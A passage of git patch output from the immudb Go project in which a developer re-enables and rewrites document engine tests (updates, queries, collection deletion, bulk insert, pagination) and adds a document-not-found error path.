Operator: protomodel.ComparisonOperator_EQ, + Value: &structpb.Value{ + Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, + }, + }, + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_EQ, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 2}, + }, + }, + }, + }, }, } - // Call the UpdateDocument method - txID, rev, err := e.UpdateDocument(ctx, collectionName, queries, toUpdateDoc) + txID, docID, rev, err := engine.UpdateDocument(ctx, collectionName, query, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "name": { + Kind: &structpb.Value_StringValue{StringValue: "Alice"}, + }, + "age": { + Kind: &structpb.Value_NumberValue{NumberValue: 30}, + }, + }, + }) require.NoError(t, err) // Check that the method returned the expected values require.NotEqual(t, txID, 0) @@ -571,6 +610,8 @@ func TestDocumentAudit(t *testing.T) { }) } +/* + func TestFloatSupport(t *testing.T) { ctx := context.Background() engine := makeEngine(t) From 3efbcf666f020f39df64cf88e842e5495d9664c1 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 4 May 2023 18:29:03 -0300 Subject: [PATCH 0500/1062] test(embedded/document): wip re-enabling document engine test cases Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 31 +- embedded/document/engine_test.go | 625 +++++++++++++++---------------- embedded/document/errors.go | 1 - 3 files changed, 316 insertions(+), 341 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 0580633cd9..9f516ff144 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -19,6 +19,7 @@ import ( "bytes" "context" "encoding/json" + "errors" "fmt" "github.com/codenotary/immudb/embedded/sql" @@ -317,7 +318,7 @@ func (e *Engine) DeleteCollection(ctx context.Context, collectionName string) er _, _, err = e.sqlEngine.ExecPreparedStmts( ctx, - nil, + sqlTx, []sql.SQLStmt{ sql.NewDropTableStmt(collectionName), // delete collection from catalog }, @@ -571,23 +572,26 @@ func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, quer provisionedDocID, docIDProvisioned := doc.Fields[idFieldName] if docIDProvisioned { // inject id comparisson into query - idFieldComparissonExp := &protomodel.QueryExpression{ - FieldComparisons: []*protomodel.FieldComparison{ - { - Field: idFieldName, - Operator: protomodel.ComparisonOperator_EQ, - Value: provisionedDocID, - }, - }, + idFieldComparisson := &protomodel.FieldComparison{ + Field: idFieldName, + Operator: protomodel.ComparisonOperator_EQ, + Value: provisionedDocID, } if query == nil || len(query.Expressions) == 0 { query = &protomodel.Query{ - Expressions: []*protomodel.QueryExpression{idFieldComparissonExp}, + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + idFieldComparisson, + }, + }, + }, } } else { // id comparisson as a first expression might result in faster comparisson - query.Expressions = append([]*protomodel.QueryExpression{idFieldComparissonExp}, query.Expressions...) + firstExp := query.Expressions[0] + firstExp.FieldComparisons = append([]*protomodel.FieldComparison{idFieldComparisson}, firstExp.FieldComparisons...) } } @@ -612,6 +616,11 @@ func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, quer row, err := r.Read(ctx) if err != nil { r.Close() + + if errors.Is(err, sql.ErrNoMoreRows) { + return 0, nil, 0, ErrDocumentNotFound + } + return 0, nil, 0, mayTranslateError(err) } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index dbd308caf4..589206a300 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -481,393 +481,360 @@ func TestQueryDocuments(t *testing.T) { }) } -/* - func TestDocumentUpdate(t *testing.T) { - // Create a new engine instance - ctx := context.Background() - engine := makeEngine(t) +func TestDocumentUpdate(t *testing.T) { + // Create a new engine instance + ctx := context.Background() + engine := makeEngine(t) - // Create a test collection with a single document - collectionName := "test_collection" + // Create a test collection with a single document + collectionName := "test_collection" - err := engine.CreateCollection( - context.Background(), - collectionName, - "", - []*protomodel.Field{ - {Name: "name", Type: protomodel.FieldType_STRING}, - {Name: "age", Type: protomodel.FieldType_DOUBLE}, - }, - []*protomodel.Index{ - {Fields: []string{"name"}}, - {Fields: []string{"age"}}, + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "name", Type: protomodel.FieldType_STRING}, + {Name: "age", Type: protomodel.FieldType_DOUBLE}, + }, + []*protomodel.Index{ + {Fields: []string{"name"}}, + {Fields: []string{"age"}}, + }, + ) + require.NoError(t, err) + + txID, docID, err := engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "name": structpb.NewStringValue("Alice"), + "age": structpb.NewNumberValue(30), + }, + }) + require.NoError(t, err) + + t.Run("update document should pass without docID", func(t *testing.T) { + query := &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "name", + Operator: protomodel.ComparisonOperator_EQ, + Value: structpb.NewStringValue("Alice"), + }, + { + Field: "age", + Operator: protomodel.ComparisonOperator_EQ, + Value: structpb.NewNumberValue(30), + }, + }, + }, }, - ) - require.NoError(t, err) + } - _, docID, err := engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + updatetxID, updateDocID, rev, err := engine.UpdateDocument(ctx, collectionName, query, &structpb.Struct{ Fields: map[string]*structpb.Value{ "name": structpb.NewStringValue("Alice"), - "age": structpb.NewNumberValue(30), + "age": structpb.NewNumberValue(31), }, }) require.NoError(t, err) + // Check that the method returned the expected values + require.Equal(t, txID+1, updatetxID) + require.Equal(t, docID.EncodeToHexString(), updateDocID.EncodeToHexString()) + require.EqualValues(t, 2, rev) - t.Run("update document should pass without docID", func(t *testing.T) { - query := &protomodel.Query{ - Expressions: []*protomodel.QueryExpression{ - { - FieldComparisons: []*protomodel.FieldComparison{ - { - Field: "_id", - Operator: protomodel.ComparisonOperator_EQ, - Value: structpb.NewStringValue(docID.EncodeToHexString()), - }, - { - Field: "country", - Operator: protomodel.ComparisonOperator_EQ, - Value: &structpb.Value{ - Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, - }, - }, - { - Field: "pincode", - Operator: protomodel.ComparisonOperator_EQ, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 2}, - }, - }, + // Verify that the document was updated + query = &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "name", + Operator: protomodel.ComparisonOperator_EQ, + Value: structpb.NewStringValue("Alice"), + }, + { + Field: "age", + Operator: protomodel.ComparisonOperator_EQ, + Value: structpb.NewNumberValue(31), }, }, }, - } + }, + } - txID, docID, rev, err := engine.UpdateDocument(ctx, collectionName, query, &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "name": { - Kind: &structpb.Value_StringValue{StringValue: "Alice"}, - }, - "age": { - Kind: &structpb.Value_NumberValue{NumberValue: 30}, + reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + require.NoError(t, err) + defer reader.Close() + + updatedDoc, err := reader.Read(ctx) + require.NoError(t, err) + require.EqualValues(t, 31, updatedDoc.Document.Fields["age"].GetNumberValue()) + require.Equal(t, docID.EncodeToHexString(), updatedDoc.Document.Fields[DefaultDocumentIDField].GetStringValue()) + }) + + t.Run("update document should fail when no document is found", func(t *testing.T) { + query := &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "name", + Operator: protomodel.ComparisonOperator_EQ, + Value: structpb.NewStringValue("Bob"), + }, }, }, - }) - require.NoError(t, err) - // Check that the method returned the expected values - require.NotEqual(t, txID, 0) - require.NotEqual(t, rev, 0) + }, + } - // Verify that the document was updated - reader, err := e.GetDocuments(ctx, collectionName, queries, 0) - require.NoError(t, err) - defer reader.Close() + toUpdateDoc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "name": structpb.NewStringValue("Alice"), + "age": structpb.NewNumberValue(32), + }, + } - updatedDocs, err := reader.Read(ctx, 1) - require.NoError(t, err) + // Test error case when no documents are found + _, _, _, err = engine.UpdateDocument(ctx, collectionName, query, toUpdateDoc) + require.ErrorIs(t, err, ErrDocumentNotFound) + }) - updatedDoc := updatedDocs[0] - if updatedDoc.Fields["age"].GetNumberValue() != 31 { - t.Errorf("Expected age to be updated to 31, got %v", updatedDoc.Fields["age"].GetNumberValue()) - } + t.Run("update document should fail with a different docID", func(t *testing.T) { + query := &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "name", + Operator: protomodel.ComparisonOperator_EQ, + Value: structpb.NewStringValue("Alice"), + }, + }, + }, + }, + } - require.Equal(t, docID.EncodeToHexString(), updatedDoc.Fields[DocumentIDField].GetStringValue()) + toUpdateDoc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + DefaultDocumentIDField: structpb.NewStringValue("1234"), + "name": structpb.NewStringValue("Alice"), + "age": structpb.NewNumberValue(31), + }, + } - }) + // Call the UpdateDocument method + _, _, _, err := engine.UpdateDocument(ctx, collectionName, query, toUpdateDoc) + require.ErrorIs(t, err, ErrDocumentNotFound) + }) +} - t.Run("update document should fail when no document is found", func(t *testing.T) { - toUpdateDoc := &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, - "age": {Kind: &structpb.Value_NumberValue{NumberValue: 31}}, - }, - } +func TestFloatSupport(t *testing.T) { + ctx := context.Background() + engine := makeEngine(t) - // Test error case when no documents are found - queries = []*Query{newQuery("name", sql.EQ, &structpb.Value{ - Kind: &structpb.Value_StringValue{StringValue: "Bob"}, - })} - _, _, err = e.UpdateDocument(ctx, collectionName, queries, toUpdateDoc) - if !errors.Is(err, ErrDocumentNotFound) { - t.Errorf("Expected ErrDocumentNotFound, got %v", err) - } - }) + collectionName := "mycollection" - t.Run("update document should fail with a different docID", func(t *testing.T) { - toUpdateDoc := &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "_id": {Kind: &structpb.Value_StringValue{StringValue: "123"}}, - "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, - "age": {Kind: &structpb.Value_NumberValue{NumberValue: 34}}, - }, - } - queries = []*Query{newQuery("name", sql.EQ, &structpb.Value{ - Kind: &structpb.Value_StringValue{StringValue: "Alice"}, - })} + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "number", Type: protomodel.FieldType_DOUBLE}, + }, + []*protomodel.Index{ + {Fields: []string{"number"}}, + }, + ) + require.NoError(t, err) - // Call the UpdateDocument method - _, _, err := e.UpdateDocument(ctx, collectionName, queries, toUpdateDoc) - require.ErrorIs(t, err, ErrDocumentIDMismatch) - }) - } + // add document to collection + _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "number": structpb.NewNumberValue(3.1), + }, + }) + require.NoError(t, err) -/* + // query document + query := &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "number", + Operator: protomodel.ComparisonOperator_EQ, + Value: structpb.NewNumberValue(3.1), + }, + }, + }, + }, + } - func TestFloatSupport(t *testing.T) { - ctx := context.Background() - engine := makeEngine(t) + // check if document is updated + reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + require.NoError(t, err) + defer reader.Close() - collectionName := "mycollection" - err := engine.CreateCollection( - ctx, - collectionName, - map[string]*IndexOption{ - "number": {Type: sql.Float64Type}, - }, - ) - require.NoError(t, err) + doc, err := reader.Read(ctx) + require.NoError(t, err) + require.Equal(t, 3.1, doc.Document.Fields["number"].GetNumberValue()) +} - catalog, err := engine.sqlEngine.Catalog(ctx, nil) - require.NoError(t, err) +func TestDeleteCollection(t *testing.T) { + engine := makeEngine(t) - table, err := catalog.GetTableByName(collectionName) - require.NoError(t, err) - require.Equal(t, collectionName, table.Name()) + // create collection + collectionName := "mycollection" - col, err := table.GetColumnByName("number") - require.NoError(t, err) - require.Equal(t, sql.Float64Type, col.Type()) + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "number", Type: protomodel.FieldType_INTEGER}, + }, + []*protomodel.Index{ + {Fields: []string{"number"}}, + }, + ) + require.NoError(t, err) - // add document to collection + // add documents to collection + for i := 1.0; i <= 10; i++ { _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "number": { - Kind: &structpb.Value_NumberValue{NumberValue: 3.1}, + Kind: &structpb.Value_NumberValue{NumberValue: i}, }, }, }) require.NoError(t, err) - - // query document - expressions := []*Query{ - { - Field: "number", - Operator: sql.EQ, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 3.1}, - }, - }, - } - - // check if document is updated - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() - docs, err := reader.Read(ctx, 1) - require.NoError(t, err) - - require.Equal(t, 1, len(docs)) - - // retrieve document - doc := docs[0] - require.Equal(t, 3.1, doc.Fields["number"].GetNumberValue()) } - func TestDeleteCollection(t *testing.T) { - engine := makeEngine(t) - - // create collection - collectionName := "mycollection" - err := engine.CreateCollection(context.Background(), collectionName, map[string]*IndexOption{ - "idx": {Type: sql.IntegerType}, - }) + t.Run("delete collection and check if it is empty", func(t *testing.T) { + err = engine.DeleteCollection(context.Background(), collectionName) require.NoError(t, err) - // add documents to collection - for i := 1.0; i <= 10; i++ { - _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "idx": { - Kind: &structpb.Value_NumberValue{NumberValue: i}, - }, - }, - }) - require.NoError(t, err) - } - - t.Run("delete collection and check if it is empty", func(t *testing.T) { - err = engine.DeleteCollection(context.Background(), collectionName) - require.NoError(t, err) - - _, err := engine.sqlEngine.Query(context.Background(), nil, "SELECT COUNT(*) FROM mycollection", nil) - require.ErrorIs(t, err, sql.ErrTableDoesNotExist) - - collectionList, err := engine.ListCollections(context.Background()) - require.NoError(t, err) - require.Equal(t, 0, len(collectionList)) - }) - } - - func TestUpdateCollection(t *testing.T) { - engine := makeEngine(t) - - collectionName := "mycollection" + collectionList, err := engine.ListCollections(context.Background()) + require.NoError(t, err) + require.Equal(t, 0, len(collectionList)) + }) +} - t.Run("create collection and add index", func(t *testing.T) { - err := engine.CreateCollection( - context.Background(), - collectionName, - map[string]*IndexOption{ - "number": {Type: sql.Float64Type}, - "name": {Type: sql.VarcharType}, - "pin": {Type: sql.IntegerType}, - "country": {Type: sql.VarcharType}, - }, - ) - require.NoError(t, err) - }) +func TestUpdateCollection(t *testing.T) { + engine := makeEngine(t) - t.Run("update collection by deleting indexes", func(t *testing.T) { - // update collection - err := engine.UpdateCollection( - context.Background(), - collectionName, - nil, - []string{"number", "name"}, - ) - require.NoError(t, err) + collectionName := "mycollection" - // get collection - indexes, err := engine.GetCollection(context.Background(), collectionName) - require.NoError(t, err) - require.Equal(t, 3, len(indexes)) - - primaryKeyCount := 0 - indexKeyCount := 0 - for _, idx := range indexes { - // check if primary key - if idx.IsPrimary() { - primaryKeyCount += len(idx.Cols()) - } else { - indexKeyCount += len(idx.Cols()) - } - } - require.Equal(t, 1, primaryKeyCount) - require.Equal(t, 2, indexKeyCount) + t.Run("create collection and add index", func(t *testing.T) { + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "number", Type: protomodel.FieldType_DOUBLE}, + {Name: "name", Type: protomodel.FieldType_STRING}, + {Name: "country", Type: protomodel.FieldType_STRING}, + {Name: "pin", Type: protomodel.FieldType_INTEGER}, + }, + []*protomodel.Index{ + {Fields: []string{"number"}}, + {Fields: []string{"name"}}, + {Fields: []string{"country"}}, + {Fields: []string{"pin"}}, + }, + ) + require.NoError(t, err) + }) - }) + t.Run("update collection by deleting indexes", func(t *testing.T) { + // update collection + err := engine.UpdateCollection( + context.Background(), + collectionName, + "", + ) + require.NoError(t, err) - t.Run("update collection by adding indexes", func(t *testing.T) { - // update collection - err := engine.UpdateCollection( - context.Background(), - collectionName, - map[string]*IndexOption{ - "data1": {Type: sql.VarcharType}, - "data2": {Type: sql.VarcharType}, - "data3": {Type: sql.VarcharType}, - }, - nil, - ) - require.NoError(t, err) + // get collection + collection, err := engine.GetCollection(context.Background(), collectionName) + require.NoError(t, err) + require.Equal(t, DefaultDocumentIDField, collection.IdFieldName) + require.Equal(t, 5, len(collection.Indexes)) + }) - // get collection - indexes, err := engine.GetCollection(context.Background(), collectionName) - require.NoError(t, err) - require.Equal(t, 6, len(indexes)) - - primaryKeyCount := 0 - indexKeyCount := 0 - for _, idx := range indexes { - // check if primary key - if idx.IsPrimary() { - primaryKeyCount += len(idx.Cols()) - } else { - indexKeyCount += len(idx.Cols()) - } - } - require.Equal(t, 1, primaryKeyCount) - require.Equal(t, 5, indexKeyCount) - }) - } + t.Run("update collection by adding changing idFieldName", func(t *testing.T) { + // update collection + err := engine.UpdateCollection( + context.Background(), + collectionName, + "_docid", + ) + require.NoError(t, err) - func TestCollectionUpdateWithDeletedIndex(t *testing.T) { - engine := makeEngine(t) + // get collection + collection, err := engine.GetCollection(context.Background(), collectionName) + require.NoError(t, err) + require.Equal(t, "_docid", collection.IdFieldName) + require.Equal(t, 5, len(collection.Indexes)) + }) +} - collectionName := "mycollection" +func TestCollectionUpdateWithDeletedIndex(t *testing.T) { + engine := makeEngine(t) - t.Run("create collection and add index", func(t *testing.T) { - err := engine.CreateCollection( - context.Background(), - collectionName, - map[string]*IndexOption{ - "number": {Type: sql.Float64Type}, - }, - ) - require.NoError(t, err) - }) + collectionName := "mycollection" - t.Run("update collection by deleting indexes", func(t *testing.T) { - // update collection - err := engine.UpdateCollection( - context.Background(), - collectionName, - nil, - []string{"number"}, - ) - require.NoError(t, err) + t.Run("create collection and add index", func(t *testing.T) { + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "number", Type: protomodel.FieldType_DOUBLE}, + }, + []*protomodel.Index{ + {Fields: []string{"number"}}, + }, + ) + require.NoError(t, err) + }) - // get collection - indexes, err := engine.GetCollection(context.Background(), collectionName) - require.NoError(t, err) - require.Equal(t, 1, len(indexes)) - - primaryKeyCount := 0 - indexKeyCount := 0 - for _, idx := range indexes { - // check if primary key - if idx.IsPrimary() { - primaryKeyCount += len(idx.Cols()) - } else { - indexKeyCount += len(idx.Cols()) - } - } - require.Equal(t, 1, primaryKeyCount) - require.Equal(t, 0, indexKeyCount) + t.Run("update collection by deleting indexes", func(t *testing.T) { + // update collection + err := engine.DeleteIndex( + context.Background(), + collectionName, + []string{"number"}, + ) + require.NoError(t, err) - }) + // get collection + collection, err := engine.GetCollection(context.Background(), collectionName) + require.NoError(t, err) + require.Len(t, collection.Indexes, 1) + }) - t.Run("update collection by adding the same index should pass", func(t *testing.T) { - // update collection - err := engine.UpdateCollection( - context.Background(), - collectionName, - map[string]*IndexOption{ - "number": {Type: sql.Float64Type}, - }, - nil, - ) - require.NoError(t, err) + t.Run("update collection by adding the same index should pass", func(t *testing.T) { + // update collection + err := engine.CreateIndex( + context.Background(), + collectionName, + []string{"number"}, + false, + ) + require.NoError(t, err) - // get collection - indexes, err := engine.GetCollection(context.Background(), collectionName) - require.NoError(t, err) - require.Equal(t, 2, len(indexes)) - - primaryKeyCount := 0 - indexKeyCount := 0 - for _, idx := range indexes { - // check if primary key - if idx.IsPrimary() { - primaryKeyCount += len(idx.Cols()) - } else { - indexKeyCount += len(idx.Cols()) - } - } - require.Equal(t, 1, primaryKeyCount) - require.Equal(t, 1, indexKeyCount) - }) - } + // get collection + collection, err := engine.GetCollection(context.Background(), collectionName) + require.NoError(t, err) + require.Len(t, collection.Indexes, 2) + }) +} +/* func TestBulkInsert(t *testing.T) { ctx := context.Background() engine := makeEngine(t) diff --git a/embedded/document/errors.go b/embedded/document/errors.go index 3b5393b6a8..6eae1b4a3c 100644 --- a/embedded/document/errors.go +++ b/embedded/document/errors.go @@ -31,7 +31,6 @@ var ( ErrMaxLengthExceeded = errors.New("max length exceeded") ErrMultipleDocumentsFound = errors.New("multiple documents found") ErrDocumentNotFound = errors.New("document not found") - ErrDocumentIDMismatch = errors.New("document id mismatch") ErrNoMoreDocuments = errors.New("no more documents") ErrFieldAlreadyExists = errors.New("field already exists") ErrFieldDoesNotExist = errors.New("field does not exist") From 7c530c5823eb06916abfd236f56b0bccc6d09da5 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 4 May 2023 18:50:28 -0300 Subject: [PATCH 0501/1062] test(embedded/document): document engine test cases re-enabled Signed-off-by: Jeronimo Irazabal --- embedded/document/engine_test.go | 227 +++++++++++++++---------------- 1 file changed, 111 insertions(+), 116 deletions(-) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 589206a300..d861ff9d7c 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -236,7 +236,7 @@ func TestDocumentAudit(t *testing.T) { // get document audit res, err := engine.DocumentAudit(context.Background(), collectionName, docID, 1, 10) require.NoError(t, err) - require.Equal(t, 2, len(res)) + require.Len(t, res, 2) for i, docAudit := range res { require.Contains(t, docAudit.Document.Fields, DefaultDocumentIDField) @@ -299,7 +299,7 @@ func TestQueryDocuments(t *testing.T) { docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 9, len(docs)) + require.Len(t, docs, 9) }) t.Run("test query with < operator", func(t *testing.T) { @@ -323,7 +323,7 @@ func TestQueryDocuments(t *testing.T) { docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 9, len(docs)) + require.Len(t, docs, 9) }) t.Run("test query with <= operator", func(t *testing.T) { @@ -347,7 +347,7 @@ func TestQueryDocuments(t *testing.T) { docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 9, len(docs)) + require.Len(t, docs, 9) }) t.Run("test query with > operator", func(t *testing.T) { @@ -371,7 +371,7 @@ func TestQueryDocuments(t *testing.T) { docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 5, len(docs)) + require.Len(t, docs, 5) }) t.Run("test query with >= operator", func(t *testing.T) { @@ -395,7 +395,7 @@ func TestQueryDocuments(t *testing.T) { docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 1, len(docs)) + require.Len(t, docs, 1) }) t.Run("test group query with != operator", func(t *testing.T) { @@ -424,7 +424,7 @@ func TestQueryDocuments(t *testing.T) { docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 8, len(docs)) + require.Len(t, docs, 8) }) t.Run("test group query with < operator", func(t *testing.T) { @@ -448,7 +448,7 @@ func TestQueryDocuments(t *testing.T) { docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 4, len(docs)) + require.Len(t, docs, 4) }) t.Run("test group query with > operator", func(t *testing.T) { @@ -477,7 +477,7 @@ func TestQueryDocuments(t *testing.T) { docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 5, len(docs)) + require.Len(t, docs, 5) }) } @@ -719,7 +719,7 @@ func TestDeleteCollection(t *testing.T) { collectionList, err := engine.ListCollections(context.Background()) require.NoError(t, err) - require.Equal(t, 0, len(collectionList)) + require.Empty(t, collectionList) }) } @@ -762,7 +762,7 @@ func TestUpdateCollection(t *testing.T) { collection, err := engine.GetCollection(context.Background(), collectionName) require.NoError(t, err) require.Equal(t, DefaultDocumentIDField, collection.IdFieldName) - require.Equal(t, 5, len(collection.Indexes)) + require.Len(t, collection.Indexes, 5) }) t.Run("update collection by adding changing idFieldName", func(t *testing.T) { @@ -778,7 +778,7 @@ func TestUpdateCollection(t *testing.T) { collection, err := engine.GetCollection(context.Background(), collectionName) require.NoError(t, err) require.Equal(t, "_docid", collection.IdFieldName) - require.Equal(t, 5, len(collection.Indexes)) + require.Len(t, collection.Indexes, 5) }) } @@ -834,132 +834,127 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { }) } -/* - func TestBulkInsert(t *testing.T) { - ctx := context.Background() - engine := makeEngine(t) - - // create collection - collectionName := "mycollection" - err := engine.CreateCollection(ctx, collectionName, map[string]*IndexOption{ - "country": {Type: sql.VarcharType}, - "price": {Type: sql.Float64Type}, - }) - require.NoError(t, err) +func TestBulkInsert(t *testing.T) { + ctx := context.Background() + engine := makeEngine(t) - // add documents to collection - docs := make([]*structpb.Struct, 0) - for i := 1.0; i <= 10; i++ { - doc := &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "country": { - Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("country-%d", int(i))}, - }, - "price": { - Kind: &structpb.Value_NumberValue{NumberValue: i}, - }, - }, - } - docs = append(docs, doc) - } + // create collection + collectionName := "mycollection" - docIDs, txID, err := engine.BulkInsertDocuments(ctx, collectionName, docs) - require.NoError(t, err) + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "country", Type: protomodel.FieldType_STRING}, + {Name: "price", Type: protomodel.FieldType_DOUBLE}, + }, + []*protomodel.Index{ + {Fields: []string{"country"}}, + {Fields: []string{"price"}}, + }, + ) + require.NoError(t, err) - require.Equal(t, 10, len(docIDs)) - require.Equal(t, uint64(2), txID) + // add documents to collection + docs := make([]*structpb.Struct, 0) - expressions := []*Query{ - { - Field: "price", - Operator: sql.GE, // EQ - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 0}, - }, + for i := 1.0; i <= 10; i++ { + doc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), + "price": structpb.NewNumberValue(i), }, } + docs = append(docs, doc) + } - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() + txID, docIDs, err := engine.BulkInsertDocuments(ctx, collectionName, docs) + require.NoError(t, err) + require.Equal(t, uint64(2), txID) + require.Len(t, docIDs, 10) + + reader, err := engine.GetDocuments(ctx, collectionName, nil, 0) + require.NoError(t, err) + defer reader.Close() - docs, _ = reader.Read(ctx, 10) - require.Equal(t, 10, len(docs)) + res, err := reader.ReadN(ctx, 10) + require.NoError(t, err) + require.Len(t, docs, 10) - for i, doc := range docs { - require.Equal(t, float64(i+1), doc.Fields["price"].GetNumberValue()) - } + for i, doc := range res { + require.Equal(t, float64(i+1), doc.Document.Fields["price"].GetNumberValue()) } +} - func newQuery(field string, op int, value *structpb.Value) *Query { - return &Query{ - Field: field, - Operator: op, - Value: value, - } - } +func TestPaginationOnReader(t *testing.T) { + ctx := context.Background() + engine := makeEngine(t) + + // create collection + collectionName := "mycollection" - func TestPaginationOnReader(t *testing.T) { - ctx := context.Background() - engine := makeEngine(t) + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "country", Type: protomodel.FieldType_STRING}, + {Name: "pincode", Type: protomodel.FieldType_INTEGER}, + }, + []*protomodel.Index{ + {Fields: []string{"country"}}, + {Fields: []string{"pincode"}}, + }, + ) + require.NoError(t, err) - // create collection - collectionName := "mycollection" - err := engine.CreateCollection(ctx, collectionName, map[string]*IndexOption{ - "idx": {Type: sql.IntegerType}, - "country": {Type: sql.VarcharType}, - "pincode": {Type: sql.IntegerType}, + // add documents to collection + for i := 1.0; i <= 20; i++ { + _, _, err = engine.InsertDocument(ctx, collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), + "pincode": structpb.NewNumberValue(i), + }, }) require.NoError(t, err) + } - // add documents to collection - for i := 1.0; i <= 20; i++ { - _, _, err = engine.InsertDocument(ctx, collectionName, &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: i}, - }, - "country": { - Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("country-%d", int(i))}, - }, - "idx": { - Kind: &structpb.Value_NumberValue{NumberValue: i}, + t.Run("test reader for multiple reads", func(t *testing.T) { + query := &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_GE, + Value: structpb.NewNumberValue(0), + }, }, }, - }) - require.NoError(t, err) + }, } - t.Run("test reader for multiple reads", func(t *testing.T) { - expressions := []*Query{ - { - Field: "pincode", - Operator: sql.GE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 0}, - }, - }, - } + reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + require.NoError(t, err) + defer reader.Close() - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) + results := make([]*protomodel.DocumentAtRevision, 0) + // use the reader to read paginated documents 5 at a time + for i := 0; i < 4; i++ { + docs, err := reader.ReadN(ctx, 5) require.NoError(t, err) - defer reader.Close() - - results := make([]*structpb.Struct, 0) - // use the reader to read paginated documents 5 at a time - for i := 0; i < 4; i++ { - docs, _ := reader.Read(ctx, 5) - require.Equal(t, 5, len(docs)) - results = append(results, docs...) - } - - for i := 1.0; i <= 20; i++ { - doc := results[int(i-1)] - require.Equal(t, i, doc.Fields["idx"].GetNumberValue()) - } - }) - } -*/ + require.Len(t, docs, 5) + results = append(results, docs...) + } + + for i := 1.0; i <= 20; i++ { + doc := results[int(i-1)] + 